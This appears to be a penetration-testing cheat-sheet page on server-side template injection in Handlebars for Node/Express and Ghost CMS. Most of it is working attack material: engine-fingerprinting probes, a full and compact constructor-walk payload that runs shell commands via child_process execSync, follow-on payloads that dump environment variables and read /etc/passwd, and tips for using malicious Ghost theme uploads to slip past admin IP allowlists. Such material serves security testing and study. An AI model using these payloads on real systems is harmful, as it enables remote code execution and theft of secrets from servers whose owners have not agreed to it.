Skip to content

Handlebars (Node - Express, Ghost)

Handlebars is logic-less by design - no arithmetic, no method calls in templates. RCE requires escaping through helpers, prototype pollution, or the underlying compile mechanism.

# Confirm Handlebars (NOT Jinja2/Twig - different arithmetic behavior)
{{7*7}} # → 7*7 literally (Handlebars doesn't do arithmetic)
{{#each (lookup this "constructor")}} # error or unusual output if Handlebars
# RCE - constructor walk (Handlebars <= 4.0.13)
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').execSync('id');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}

Success indicator: uid= line in output. The payload form is uglier than other engines because Handlebars deliberately doesn’t expose method-call syntax.

  • Express.js - Handlebars (via hbs or express-handlebars package) is one of Express’s main view engines.
  • Ghost CMS - Themes are Handlebars. SSTI in admin theme upload features is the classic path.
  • Slack message templates - some legacy Slack-bot frameworks use Handlebars for outbound message formatting.
  • AWS Lambda - Handlebars-rendered email templates in SES configurations.
  • Custom Node apps - anything require('handlebars').compile(user_input).

Handlebars’s logic-less design means arithmetic probes don’t work the way they do elsewhere:

{{7*7}} # → 7*7 literally (NOT 49)
{{#if true}}YES{{/if}} # → YES confirms control flow works
{{#each [1,2,3]}}{{this}}{{/each}} # → 123 if Handlebars

{{#if}} and {{#each}} are the diagnostic - {{7*7}} failing to evaluate is a fingerprint for Handlebars, not evidence the engine is absent.

If {{#if true}}YES{{/if}} returns YES, you have Handlebars and can probe escape paths.

Step 2 - Constructor walk (Handlebars ≤ 4.0.13)

Section titled “Step 2 - Constructor walk (Handlebars ≤ 4.0.13)”

The original Handlebars SSTI from 2015 used the {{#with}} block helper to walk JavaScript prototype chains. Patched in 4.0.14 (Aug 2017) and again in 4.7.7 for related issues, but unpatched deployments are still common - especially in legacy enterprise apps and embedded Node services.

Full payload form in the TL;DR above. Compact version (when whitespace doesn’t matter):

{{#with "s" as |string|}}{{#with "e"}}{{#with split as |conslist|}}{{this.pop}}{{this.push (lookup string.sub "constructor")}}{{this.pop}}{{#with string.split as |codelist|}}{{this.pop}}{{this.push "return require('child_process').execSync('id');"}}{{this.pop}}{{#each conslist}}{{#with (string.sub.apply 0 codelist)}}{{this}}{{/with}}{{/each}}{{/with}}{{/with}}{{/with}}{{/with}}

Replace 'id' with any command. The payload returns the stdout of execSync directly into the template output.

Handlebars’s built-in lookup helper accesses properties dynamically. Combined with constructor access, it reaches Function:

{{lookup (lookup this "constructor") "constructor"}}

This reaches the Function constructor - calling Function("body")() is equivalent to eval. The exact escape requires combining lookup with #with (as above) since Handlebars doesn’t have direct function-call syntax in expressions.

If the application allows custom helper registration through user input (rare but devastating when present), the helper itself executes Node.js:

// Vulnerable pattern in app code
Handlebars.registerHelper(userInput, function() {
return eval(userBody);
});

The Handlebars-side payload is just the helper name in a normal expression - the application’s evaluation of the helper body is where the bug lives.

Handlebars doesn’t expose application config directly. Loot comes through the RCE path:

// After RCE via constructor walk, the payload body can be:
return JSON.stringify(process.env); // env vars
return require('fs').readFileSync('/etc/passwd','utf8'); // file read
return Object.keys(global); // global Node namespace
return require('child_process').execSync('id').toString(); // command output

Embed any of those in the "return ..." slot of the constructor-walk payload.

Ghost themes are Handlebars .hbs files. SSTI in Ghost typically requires admin access to upload a malicious theme - at which point you also have access to the admin API directly, so SSTI is somewhat redundant.

Where Ghost SSTI is operationally useful: bypassing IP allowlists on admin endpoints. If you reach the theme upload but can’t make admin API calls, a malicious .hbs file with the constructor-walk payload gives you Node-side command execution that the admin API alone wouldn’t.

# Constructor access via dot vs bracket
{{lookup this "__proto__"}} # walk prototype chain
# Whitespace insertion (Handlebars is whitespace-tolerant inside helpers)
{{#with "s" as |string|}} # extra spaces survive

Most Handlebars SSTI mitigations focus on patching the constructor-walk path. Filter-based mitigations are less common because Handlebars’s logic-less design already restricts most things.

{{#if true}}YES{{/if}} # confirms Handlebars (returns YES)
{{#each [1,2,3]}}{{this}}{{/each}} # confirms Handlebars (returns 123)
{{lookup this "constructor"}} # returns function repr if constructor walk reachable
{{#with "s" as |x|}}{{x.length}}{{/with}} # returns 1 - proves `as |x|` syntax works

{{#with "s" as |x|}}{{x.length}}{{/with}} returning 1 is the cleanest indicator that the constructor-walk path will likely work - that syntax was added in Handlebars 3.x and is required for the escape.

  • Handlebars 4.7.7+ patches the known constructor-walk paths. Unpatched 4.0.x-4.6.x and all 3.x versions are vulnerable.
  • noEscape: true is a Handlebars option that disables HTML escaping. It doesn’t enable RCE on its own but combined with reflective sinks it creates XSS in addition to SSTI.
  • Strict mode (strict: true) makes references to missing variables throw instead of returning empty. This breaks some payload variants but not the constructor walk.
  • Mustache vs Handlebars - Mustache is the spec Handlebars extends. Pure Mustache (e.g. mustache.js) is even more restrictive and doesn’t have the #with syntax - Mustache-only sinks are usually safe from this attack.